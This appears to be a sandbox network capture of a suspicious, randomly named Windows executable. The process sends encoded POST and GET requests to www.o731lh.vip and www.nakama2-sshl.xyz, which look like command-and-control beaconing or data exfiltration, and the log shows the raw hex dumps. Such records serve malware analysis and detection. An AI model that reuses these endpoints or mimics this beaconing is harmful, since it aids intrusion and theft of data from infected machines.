Oct 9, 2024 14:19:46.872762918 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d Data Ascii: </li> <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">
Oct 9, 2024 14:19:46.872798920 CEST	1236	IN	Data Raw: 61 64 65 72 20 34 20 4c 69 67 68 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ader 4 Light</a></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul>
Oct 9, 2024 14:19:46.878035069 CEST	1236	IN	Data Raw: 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 Data Ascii: rs</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Footer 1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49553	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:00.099026918 CEST	713	OUT	POST /eruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.o731lh.vip Origin: http://www.o731lh.vip Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.o731lh.vip/eruc/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 35 72 76 48 32 35 33 4d 2f 64 2b 61 75 72 41 6c 36 54 57 36 4f 43 34 61 2b 79 52 51 43 58 75 59 66 33 49 5a 71 41 32 51 31 35 4a 61 65 51 49 4a 62 63 56 70 2b 30 41 50 2b 6e 2b 5a 66 62 70 57 78 56 57 75 2b 76 56 52 52 69 59 6c 77 37 32 33 63 74 61 78 59 6e 6f 2f 54 6f 34 50 62 41 41 78 70 42 6d 31 6e 32 63 4f 34 38 78 71 46 66 78 54 6b 34 50 34 7a 63 32 71 57 46 63 67 64 52 36 57 44 77 79 62 51 34 59 75 55 70 51 6b 41 4b 64 68 64 42 79 61 36 39 52 2f 6c 52 4b 74 7a 34 68 4a 71 42 77 4b 46 32 4c 45 41 43 50 41 6c 54 36 4e 4d 4c 2f 43 53 48 4d 65 4d 33 2f 50 55 4f 68 38 66 51 3d 3d Data Ascii: AHkx=5rvH253M/d+aurAl6TW6OC4a+yRQCXuYf3IZqA2Q15JaeQIJbcVp+0AP+n+ZfbpWxVWu+vVRRiYlw723ctaxYno/To4PbAAxpBm1n2cO48xqFfxTk4P4zc2qWFcgdR6WDwybQ4YuUpQkAKdhdBya69R/lRKtz4hJqBwKF2LEACPAlT6NML/CSHMeM3/PUOh8fQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49563	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:02.645478964 CEST	733	OUT	POST /eruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.o731lh.vip Origin: http://www.o731lh.vip Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.o731lh.vip/eruc/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 35 72 76 48 32 35 33 4d 2f 64 2b 61 76 49 49 6c 70 6c 65 36 46 43 34 5a 30 53 52 51 59 6e 75 63 66 33 55 5a 71 45 6d 41 31 4c 39 61 64 30 41 4a 61 64 56 70 74 45 41 50 71 33 2f 53 43 72 70 4e 78 56 71 4d 2b 75 70 52 52 69 4d 6c 77 36 47 33 64 65 69 79 5a 33 6f 39 61 49 34 4e 56 67 41 78 70 42 6d 31 6e 32 5a 72 34 38 5a 71 46 76 68 54 6c 5a 50 2f 39 38 32 72 52 46 63 67 4c 52 36 73 44 77 7a 4f 51 38 59 45 55 76 4d 6b 41 49 56 68 61 56 75 5a 7a 39 52 39 76 78 4c 6c 79 5a 51 74 6a 67 4a 6b 41 58 48 51 66 43 44 55 6b 56 72 58 64 36 65 56 41 48 6f 74 52 77 32 37 5a 4e 63 31 45 62 68 31 48 52 36 74 61 42 39 39 6a 55 6d 64 32 78 64 69 77 50 4d 3d Data Ascii: AHkx=5rvH253M/d+avIIlple6FC4Z0SRQYnucf3UZqEmA1L9ad0AJadVptEAPq3/SCrpNxVqM+upRRiMlw6G3deiyZ3o9aI4NVgAxpBm1n2Zr48ZqFvhTlZP/982rRFcgLR6sDwzOQ8YEUvMkAIVhaVuZz9R9vxLlyZQtjgJkAXHQfCDUkVrXd6eVAHotRw27ZNc1Ebh1HR6taB99jUmd2xdiwPM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49579	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:05.191098928 CEST	10815	OUT	POST /eruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.o731lh.vip Origin: http://www.o731lh.vip Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.o731lh.vip/eruc/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 35 72 76 48 32 35 33 4d 2f 64 2b 61 76 49 49 6c 70 6c 65 36 46 43 34 5a 30 53 52 51 59 6e 75 63 66 33 55 5a 71 45 6d 41 31 4c 46 61 65 44 41 4a 62 2b 74 70 75 45 41 50 31 48 2b 56 43 72 6f 66 78 52 2b 49 2b 75 6c 42 52 67 30 6c 78 63 36 33 49 66 69 79 53 33 6f 39 59 49 34 4f 62 41 42 31 70 42 57 35 6e 32 70 72 34 38 5a 71 46 73 4a 54 73 6f 50 2f 2f 38 32 71 57 46 63 73 64 52 37 69 44 30 66 65 51 38 63 2b 58 63 55 6b 44 72 39 68 62 67 79 5a 34 39 52 6a 73 78 4b 6a 79 5a 63 79 6a 67 56 43 41 57 44 36 66 41 66 55 6c 77 47 70 4d 49 62 4a 58 32 67 50 44 68 71 67 42 50 6b 6f 46 6f 6c 75 4a 44 4b 48 59 67 52 53 34 6d 76 61 7a 44 4a 66 68 4c 38 47 71 34 75 39 72 7a 56 6a 45 50 64 38 72 5a 63 32 54 42 2b 31 46 2f 36 2b 48 6e 33 7a 65 33 62 41 63 42 34 74 48 78 54 41 35 64 35 72 70 4e 54 35 77 71 30 43 57 6c 32 37 50 6e 4c 5a 33 4a 54 6b 37 74 79 56 77 56 4c 39 50 69 67 6e 6b 39 4c 44 6e 77 6e 46 64 41 6b 4f 37 73 32 39 6b 63 49 62 30 4f 69 53 58 54 36 79 37 77 31 56 76 36 58 5a 35 38 4d 41 41 [TRUNCATED] Data Ascii: AHkx=5rvH253M/d+avIIlple6FC4Z0SRQYnucf3UZqEmA1LFaeDAJb+tpuEAP1H+VCrofxR+I+ulBRg0lxc63IfiyS3o9YI4ObAB1pBW5n2pr48ZqFsJTsoP//82qWFcsdR7iD0feQ8c+XcUkDr9hbgyZ49RjsxKjyZcyjgVCAWD6fAfUlwGpMIbJX2gPDhqgBPkoFoluJDKHYgRS4mvazDJfhL8Gq4u9rzVjEPd8rZc2TB+1F/6+Hn3ze3bAcB4tHxTA5d5rpNT5wq0CWl27PnLZ3JTk7tyVwVL9Pignk9LDnwnFdAkO7s29kcIb0OiSXT6y7w1Vv6XZ58MAA8fhwoVAZ+dc8YsxgmqpLdLUwhocdfYdUNes1TvvC4cScs5zCIRuRBfXO+LGZ4loJqJpMNt2J0Zaqs4HUEraNDqRPjrPmUFn3lMP3OBZHcUwVuv+xsgTlMNcSSPRyIDw6Ge0Lb1UEy77zMiL4KH3ZGkD4bWZhIsoOTOM7YNn1vvCbbdy2K4ii1rWzBYv+tlLuvTA282uDqJmkMVP8O4RHn7Oz+/uuhUVccSDJieMbsmQ1wF/QypsjLE5l9tHdWI7gZ2+Jd6+p9k16YjfaM3bQhMniSgASyWQog2RwJ567cFsdzXTstarxofttB0/NrZPicSKEjSPg+fYa+V6wJ7BmQ+M6+LNybh7UU3r6z7Z0ZW2fIUEUC6n+P1lmBuM/XOEFosf9EJ2Aol5AbHuYz0HjCVbzHElnCrqieADtU3tdttKu9ksoXyTfO/Cb8W/bmqpvJwCbotrxV0szUQ2OrZ0NsVK+aJhwbvqCzFfxATJQCKPHZB1hQs5/Lad/RPmnsiYoN2bvRQUiQFAvUNqFGairqBvEgnaZo/7limykDyQSCCucIpyoTcoCKuKwJPZOZM5EtFYHDjnRUbHGECYmDa0vt5NT/VjSDEI9ar/p1sujH/JdheMU2/DJ+GeQcSV3Ll2FSL2Mn5HYBekOfSc6hQmGfMuU5CbfRAS1Kx [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49593	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:07.763654947 CEST	460	OUT	GET /eruc/?AHkx=0pHn1M2gwaL5mql9jSi5Dhpkux55ATuoFGMXu3aa4qZIFhIZTp589V8RrAObS8se+RyZmJdkVQw9waSFdfaJQA9rTbpXDGB78xWioGNWodRvKelboLn2zrA=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.o731lh.vip Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:20:09.135030985 CEST	400	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:20:09 GMT Content-Type: text/html Content-Length: 260 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 41 48 6b 78 3d 30 70 48 6e 31 4d 32 67 77 61 4c 35 6d 71 6c 39 6a 53 69 35 44 68 70 6b 75 78 35 35 41 54 75 6f 46 47 4d 58 75 33 61 61 34 71 5a 49 46 68 49 5a 54 70 35 38 39 56 38 52 72 41 4f 62 53 38 73 65 2b 52 79 5a 6d 4a 64 6b 56 51 77 39 77 61 53 46 64 66 61 4a 51 41 39 72 54 62 70 58 44 47 42 37 38 78 57 69 6f 47 4e 57 6f 64 52 76 4b 65 6c 62 6f 4c 6e 32 7a 72 41 3d 26 72 66 2d 4c 5a 3d 4a 6c 43 74 75 4e 33 48 71 50 4f 38 43 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?AHkx=0pHn1M2gwaL5mql9jSi5Dhpkux55ATuoFGMXu3aa4qZIFhIZTp589V8RrAObS8se+RyZmJdkVQw9waSFdfaJQA9rTbpXDGB78xWioGNWodRvKelboLn2zrA=&rf-LZ=JlCtuN3HqPO8C"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49631	183.181.83.131	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:14.708749056 CEST	731	OUT	POST /ui3j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.nakama2-sshl.xyz Origin: http://www.nakama2-sshl.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.nakama2-sshl.xyz/ui3j/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 4a 78 32 41 7a 44 49 56 6b 68 6a 59 61 61 69 35 72 46 63 7a 36 59 46 54 36 30 62 33 4a 58 37 4c 39 76 72 6f 58 4f 61 73 70 45 4c 30 53 67 62 54 68 79 4e 34 6a 77 72 31 32 45 6b 6a 50 4f 2b 51 43 36 62 54 72 47 57 67 57 37 54 39 65 6d 31 4d 65 45 39 62 30 75 58 44 2b 58 45 55 52 5a 45 61 41 4d 6b 51 46 6b 68 4a 76 59 54 6e 52 2f 72 5a 41 44 52 41 66 42 31 64 30 2b 73 51 57 34 6c 4a 45 4e 48 41 56 62 57 64 59 51 48 65 46 57 38 44 54 6b 2f 43 63 46 31 4c 66 35 62 49 77 2f 4d 37 7a 30 54 56 49 77 62 62 35 4b 6c 57 4c 38 59 44 51 69 50 45 4a 4f 69 2f 54 59 47 4a 2b 65 49 32 79 51 3d 3d Data Ascii: AHkx=Jx2AzDIVkhjYaai5rFcz6YFT60b3JX7L9vroXOaspEL0SgbThyN4jwr12EkjPO+QC6bTrGWgW7T9em1MeE9b0uXD+XEURZEaAMkQFkhJvYTnR/rZADRAfB1d0+sQW4lJENHAVbWdYQHeFW8DTk/CcF1Lf5bIw/M7z0TVIwbb5KlWL8YDQiPEJOi/TYGJ+eI2yQ==
Oct 9, 2024 14:20:15.573736906 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 31 38 63 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5c 7b 93 23 d5 75 ff 7b a7 8a ef d0 68 0c d2 10 b5 5a ad c7 bc 56 33 ce f2 72 a8 c2 40 60 89 8b 2c 5b 53 ad 56 4b ea d9 56 b7 dc dd 9a 07 cb 56 ed cc 60 17 60 1c b0 0d 26 04 c7 b1 89 0d 6b b0 89 09 54 8a 00 09 df 25 cd ec b2 7f e5 2b e4 77 ee bd dd ea 6e b5 46 1a 69 96 24 55 4c ed ce 48 f7 71 5e f7 9c 73 cf 3d 7d 6e 37 ee 7e f0 f1 07 2e 3e f3 c4 43 52 d7 ef 59 9b 0b 8d bb 65 f9 92 d9 96 2c 5f 7a e4 21 69 e5 32 5a a8 43 d2 2d cd f3 36 72 a6 b1 9c 93 2c cd ee 6c e4 b6 b5 dc a6 d4 b8 fb 92 61 b7 cc f6 65 59 1e ce cd 9c b8 32 d5 bc d5 51 84 93 e7 75 18 ad 98 4a c4 87 04 47 44 86 a4 e7 36 17 ce d1 80 04 c9 e7 1a 5d 43 6b 49 7d d7 68 9b 7b 1b 39 a7 b3 0e 39 f8 fd 75 45 71 3a fd 52 cf 50 6c 6f 51 6a 37 47 5b 95 76 73 51 d2 5c df d4 2d 23 a3 57 f4 2c 12 d2 73 8d 9e e1 6b 92 de d5 5c cf f0 37 72 4f 5f 7c 58 5e cd 49 c3 1e 5b eb 19 1b b9 1d d3 d8 ed 3b ae 9f 93 74 c7 f6 0d 1b 23 77 cd 96 df dd 68 19 3b a6 6e c8 ec 4b d1 b4 4d df d4 2c d9 d3 35 cb d8 50 4b e5 [TRUNCATED] Data Ascii: 18c4\{#u{hZV3r@`,[SVKVV``&kT%+wnFi$ULHq^s=}n7~.>CRYe,_z!i2ZC-6r,laeY2QuJGD6]CkI}h{99uEq:RPloQj7G[vsQ\-#W,sk\7rO_\|X^I[;t#wh;nKM,5PK3\Ukv! mc1*84_ncpeM8?>u&ib,g#-",pm7rZoFbgBn_\|"=SI]FN]zZEUNi1u;MM2i6(pzIXyk}sde5zh60)dNukfC 1d2Gi{:5_4c%$Y+$9%ois!%-_9YW8N2tuKfk#5-G"[f}Y$d5hALW`3\|vQ/yyij^-SkIeii1<CMUA.C,o]Z,c}ucl]Yl1}xO+-m%{c
Oct 9, 2024 14:20:15.573775053 CEST	1236	IN	Data Raw: b6 64 d7 68 61 9c de ae 18 15 23 7b 9c 35 80 28 9d 81 27 f3 09 8e 8b 6d 80 d3 b0 bc 56 2e 4f 35 47 eb 35 0d 97 c8 d1 9b e3 a7 98 9d ae 0f 19 18 86 2d 93 54 30 7c a5 d9 d2 9b f5 6c 0c 9c 98 c4 f0 72 b9 55 5e ad 65 0f 67 42 09 85 4d d4 af 1a 2d b5 Data Ascii: dha#{5('mV.O5G5-T0\|lrU^egBM-gkUc-aqYWX-]B`#BjKfjet.YaVJQ]PcA*kKZ.)$q<ZO#bZTh=FL%15PW@CJB:^TT
Oct 9, 2024 14:20:15.573786974 CEST	1236	IN	Data Raw: c7 13 85 33 00 e4 13 33 20 b2 6c e1 0c 00 d9 bc 0c 78 22 ff 38 03 44 31 33 09 73 01 95 13 f4 54 1e c5 0e 78 36 c1 cb 4c f2 fc 39 fd b0 b2 80 ea 30 34 dd 07 4e 3c e4 5a 99 b6 ae 20 ac de e8 5b 83 8e 69 a3 bc 20 01 45 49 94 1d 70 8c b1 02 83 7a 69 Data Ascii: 33 lx"8D13sTx6L904N<Z [i EIpziyrxwu";(luM(xbbQ^-""2SVoRjZDZB<eF;PU'J<t,#bNY3^c=iA[9(dzvT
Oct 9, 2024 14:20:15.573885918 CEST	1236	IN	Data Raw: b0 67 9c 0b 51 bc ed ae 23 72 2f ac a3 ce aa 30 b0 a4 81 b5 b4 94 5b 2a c1 bc 1f a0 ab 54 85 9c 63 5b 54 f4 ab e7 98 d8 04 d8 1c 91 ab e9 30 ff 3d cc 60 73 4b b8 25 23 c3 3b f7 68 ba a1 e9 dd 04 e7 d0 dd 04 d3 43 f8 1c 10 26 73 04 c4 10 54 e3 34 Data Ascii: gQ#r/0[*Tc[T0=`sK%#;hC&sT4\vr]q6Cx!mD@.($EnLn9"g+D]p)D874Defl2,:4-fm_;+7Gz\|Y\Yp>}p[x
Oct 9, 2024 14:20:15.573895931 CEST	1236	IN	Data Raw: 53 38 0d 0f 3e f1 d8 1f 2f 07 10 f7 f2 ff 06 47 39 04 59 96 44 4a e1 49 50 7c 96 d3 40 7e e3 37 22 65 13 ce 94 7c 0d 71 6b c2 43 a3 8b 87 88 8c 4c b3 45 9b 05 65 44 68 76 6c 9b 20 35 43 94 c4 f9 4b 04 25 b8 db dd d9 32 ed b6 13 2e 62 a3 bf 59 29 Data Ascii: S8>/G9YDJIP\|@~7"e\|qkCLEeDhvl 5CK%2.bY)W*J]Q$H$FN[-kLR mIG>}9vWZFaM?qKZ6ayeuh;65xGH_v
Oct 9, 2024 14:20:15.573909998 CEST	546	IN	Data Raw: 56 e5 92 5a a5 22 72 84 b6 f9 8c a1 e9 72 ab 3b 43 23 0a b1 fa 8e b5 df 36 2d 2b 4e 5b b5 a4 d6 a9 cc 99 68 8b 0d 39 1d 4d 34 59 9c e6 c2 3b 0f db 9e 8c 95 75 b5 fc e6 82 72 1f bd af f5 81 07 2f 5c bc 70 49 ba 4f 59 a0 8a a9 dd be de 5e 41 71 c9 Data Ascii: VZ"rr;C#6-+N[h9M4Y;ur/\pIOY^AqU_8;6Uy${VsZ$?k7_d/a9/N-JX<`^xc32(;aVs/wj\|CNOi&=~Jiw(~J@K&FT?D%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49633	183.181.83.131	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:17.256243944 CEST	751	OUT	POST /ui3j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.nakama2-sshl.xyz Origin: http://www.nakama2-sshl.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.nakama2-sshl.xyz/ui3j/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 4a 78 32 41 7a 44 49 56 6b 68 6a 59 62 36 53 35 75 6d 6b 7a 38 34 46 4d 31 55 62 33 44 33 37 50 39 76 6e 6f 58 50 75 38 70 32 76 30 53 43 44 54 69 33 68 34 69 77 72 31 69 55 6b 36 42 75 2b 62 43 36 47 75 72 47 71 67 57 34 76 39 65 6a 5a 4d 65 58 6c 59 37 65 58 42 34 58 45 57 53 70 45 61 41 4d 6b 51 46 6b 45 55 76 59 4c 6e 52 50 37 5a 42 69 52 44 44 78 31 43 7a 2b 73 51 53 34 6c 46 45 4e 48 69 56 61 36 6e 59 56 4c 65 46 57 73 44 54 32 58 42 4a 31 31 4a 52 5a 61 6e 38 66 6c 32 7a 33 36 35 50 7a 33 55 2f 4b 52 4f 44 61 4a 5a 42 54 75 54 62 4f 47 4d 4f 66 50 39 7a 64 31 2f 70 66 2f 72 67 36 72 52 36 57 62 61 31 73 4c 6f 64 75 50 4c 31 41 55 3d Data Ascii: AHkx=Jx2AzDIVkhjYb6S5umkz84FM1Ub3D37P9vnoXPu8p2v0SCDTi3h4iwr1iUk6Bu+bC6GurGqgW4v9ejZMeXlY7eXB4XEWSpEaAMkQFkEUvYLnRP7ZBiRDDx1Cz+sQS4lFENHiVa6nYVLeFWsDT2XBJ11JRZan8fl2z365Pz3U/KRODaJZBTuTbOGMOfP9zd1/pf/rg6rR6Wba1sLoduPL1AU=
Oct 9, 2024 14:20:18.095438957 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 31 38 63 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5c 7b 93 23 d5 75 ff 7b a7 8a ef d0 68 0c d2 10 b5 5a ad c7 bc 56 33 ce f2 72 a8 c2 40 60 89 8b 2c 5b 53 ad 56 4b ea d9 56 b7 dc dd 9a 07 cb 56 ed cc 60 17 60 1c b0 0d 26 04 c7 b1 89 0d 6b b0 89 09 54 8a 00 09 df 25 cd ec b2 7f e5 2b e4 77 ee bd dd ea 6e b5 46 1a 69 96 24 55 4c ed ce 48 f7 71 5e f7 9c 73 cf 3d 7d 6e 37 ee 7e f0 f1 07 2e 3e f3 c4 43 52 d7 ef 59 9b 0b 8d bb 65 f9 92 d9 96 2c 5f 7a e4 21 69 e5 32 5a a8 43 d2 2d cd f3 36 72 a6 b1 9c 93 2c cd ee 6c e4 b6 b5 dc a6 d4 b8 fb 92 61 b7 cc f6 65 59 1e ce cd 9c b8 32 d5 bc d5 51 84 93 e7 75 18 ad 98 4a c4 87 04 47 44 86 a4 e7 36 17 ce d1 80 04 c9 e7 1a 5d 43 6b 49 7d d7 68 9b 7b 1b 39 a7 b3 0e 39 f8 fd 75 45 71 3a fd 52 cf 50 6c 6f 51 6a 37 47 5b 95 76 73 51 d2 5c df d4 2d 23 a3 57 f4 2c 12 d2 73 8d 9e e1 6b 92 de d5 5c cf f0 37 72 4f 5f 7c 58 5e cd 49 c3 1e 5b eb 19 1b b9 1d d3 d8 ed 3b ae 9f 93 74 c7 f6 0d 1b 23 77 cd 96 df dd 68 19 3b a6 6e c8 ec 4b d1 b4 4d df d4 2c d9 d3 35 cb d8 50 4b e5 [TRUNCATED] Data Ascii: 18c4\{#u{hZV3r@`,[SVKVV``&kT%+wnFi$ULHq^s=}n7~.>CRYe,_z!i2ZC-6r,laeY2QuJGD6]CkI}h{99uEq:RPloQj7G[vsQ\-#W,sk\7rO_\|X^I[;t#wh;nKM,5PK3\Ukv! mc1*84_ncpeM8?>u&ib,g#-",pm7rZoFbgBn_\|"=SI]FN]zZEUNi1u;MM2i6(pzIXyk}sde5zh60)dNukfC 1d2Gi{:5_4c%$Y+$9%ois!%-_9YW8N2tuKfk#5-G"[f}Y$d5hALW`3\|vQ/yyij^-SkIeii1<CMUA.C,o]Z,c}ucl]Yl1}xO+-m%{c
Oct 9, 2024 14:20:18.095458031 CEST	1236	IN	Data Raw: b6 64 d7 68 61 9c de ae 18 15 23 7b 9c 35 80 28 9d 81 27 f3 09 8e 8b 6d 80 d3 b0 bc 56 2e 4f 35 47 eb 35 0d 97 c8 d1 9b e3 a7 98 9d ae 0f 19 18 86 2d 93 54 30 7c a5 d9 d2 9b f5 6c 0c 9c 98 c4 f0 72 b9 55 5e ad 65 0f 67 42 09 85 4d d4 af 1a 2d b5 Data Ascii: dha#{5('mV.O5G5-T0\|lrU^egBM-gkUc-aqYWX-]B`#BjKfjet.YaVJQ]PcA*kKZ.)$q<ZO#bZTh=FL%15PW@CJB:^TT
Oct 9, 2024 14:20:18.095470905 CEST	1236	IN	Data Raw: c7 13 85 33 00 e4 13 33 20 b2 6c e1 0c 00 d9 bc 0c 78 22 ff 38 03 44 31 33 09 73 01 95 13 f4 54 1e c5 0e 78 36 c1 cb 4c f2 fc 39 fd b0 b2 80 ea 30 34 dd 07 4e 3c e4 5a 99 b6 ae 20 ac de e8 5b 83 8e 69 a3 bc 20 01 45 49 94 1d 70 8c b1 02 83 7a 69 Data Ascii: 33 lx"8D13sTx6L904N<Z [i EIpziyrxwu";(luM(xbbQ^-""2SVoRjZDZB<eF;PU'J<t,#bNY3^c=iA[9(dzvT
Oct 9, 2024 14:20:18.095487118 CEST	1236	IN	Data Raw: b0 67 9c 0b 51 bc ed ae 23 72 2f ac a3 ce aa 30 b0 a4 81 b5 b4 94 5b 2a c1 bc 1f a0 ab 54 85 9c 63 5b 54 f4 ab e7 98 d8 04 d8 1c 91 ab e9 30 ff 3d cc 60 73 4b b8 25 23 c3 3b f7 68 ba a1 e9 dd 04 e7 d0 dd 04 d3 43 f8 1c 10 26 73 04 c4 10 54 e3 34 Data Ascii: gQ#r/0[*Tc[T0=`sK%#;hC&sT4\vr]q6Cx!mD@.($EnLn9"g+D]p)D874Defl2,:4-fm_;+7Gz\|Y\Yp>}p[x
Oct 9, 2024 14:20:18.095499039 CEST	896	IN	Data Raw: 53 38 0d 0f 3e f1 d8 1f 2f 07 10 f7 f2 ff 06 47 39 04 59 96 44 4a e1 49 50 7c 96 d3 40 7e e3 37 22 65 13 ce 94 7c 0d 71 6b c2 43 a3 8b 87 88 8c 4c b3 45 9b 05 65 44 68 76 6c 9b 20 35 43 94 c4 f9 4b 04 25 b8 db dd d9 32 ed b6 13 2e 62 a3 bf 59 29 Data Ascii: S8>/G9YDJIP\|@~7"e\|qkCLEeDhvl 5CK%2.bY)W*J]Q$H$FN[-kLR mIG>}9vWZFaM?qKZ6ayeuh;65xGH_v
